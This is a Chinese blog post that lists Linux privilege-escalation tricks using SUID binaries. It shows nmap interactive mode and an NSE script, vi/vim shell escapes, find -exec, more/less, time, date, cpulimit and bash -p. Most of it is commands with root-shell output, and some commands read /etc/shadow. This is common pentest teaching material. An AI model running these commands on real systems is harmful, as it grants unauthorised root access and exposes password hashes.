带有SUID权限位的提权方法

在Linux中有几个文件,一旦具备suid权限位,将可以被用来进行提权,分别是:Nmap Vi Vim find More Less 

一、nmap

nmap在2.02-5.21之间的版本存在一个交互模式,这个模式允许用户执行shell命令,具体操作方式如下

1、首先进入交互模式

msfadmin@metasploitable:$nmap --interactive
nmap>

2、通过交互模式进入shell:输入!sh

nmap>!sh
sh-3.2#

*新版本nmap可以用nmap本身支持的nse脚本进行辅助提权(这里获取的root shell,输入命令时可能不显示,盲操作即可)

echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse
test@vuln~$ echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse
Starting Nmap 7.70 ( https://nmap.org ) at 2021-04-20 21:30 CDT
# uid=0(root) gid=0(root) groups=0(root)

 

 

二、Vi

1、启动Vi在命令模式输入以下内容

:!sh
sh-3.2#

这样可以直接进入root权限的shell模式

 

三、Vim

1、启动Vim在命令模式下输入以下内容

:set shell=/bin/sh
:shell

这样就可以直接进入root权限的shell模式

 

四、find

find命令有一个-exec参数,这个参数用于:“当找到对应的文件后,执行一个系统命令进行处理该文件”,可以被用来进行提权

test@test:$touch test                 #确保可以找到该文件
test@test:$find test -exec "/bin/sh" \;
root@test:#

 

五、more/less

more和less可以被用来进行提权的一个重要因素在于可以从这两个命令里进入vim/vi模式

1、先通过more打开一个文件

test@test:$more testfile

2、这个时候可以按一下键盘上的 ‘v’,便可以调用Vim/Vi进入编辑模式,这个时候就可以通过vim进行提权,全程都是root权限:命令模式下输入“!sh”就可以获取一个root的shell。参考第二、三条

 

六、time

/usr/bin/time命令可以用来查看程序执行时间,可以通过time命令来启动进程,因此当time命令具有suid位时,可以获得euid为root的权限,euid=0可以查看所有归属于root的文件

/usr/bin/time cat /etc/shadow

/usr/bin/time whoami
……

但是没法通过执行bash来获取uid=0的root权限

七、date

/usr/bin/date命令可以用来查看当前系统时间,同时date也可以通过-f参数来读取文件。所以当date有suid位时,可以用来读取root权限的文件,比如/etc/shadow

/usr/bin/date -f /etc/shadow

 八、cpulimit

cpulimit -l 100 -f -- /bin/sh -p

 九、bash

bash -p

*有suid位的bash提权时必须加上-p参数,带其他参数或不加参数无法提权,因为只有管道会继承euid位

 

利用方法:

1、查找当前机器中带有suid、sgid位的命令

$:find / -perm /4000 -uid 目标uid -gid 目标gid 2>/dev/null |xargs ls -l

该命令可以列出所有suid和sgid位的命令

2、提权利用

查看是否有上述可用的提权命令或者系统中其他可利用命令,运行即可提权到响应权限

posted @ 2018-12-07 17:11  隐念笎  阅读(1019)  评论(0编辑  收藏  举报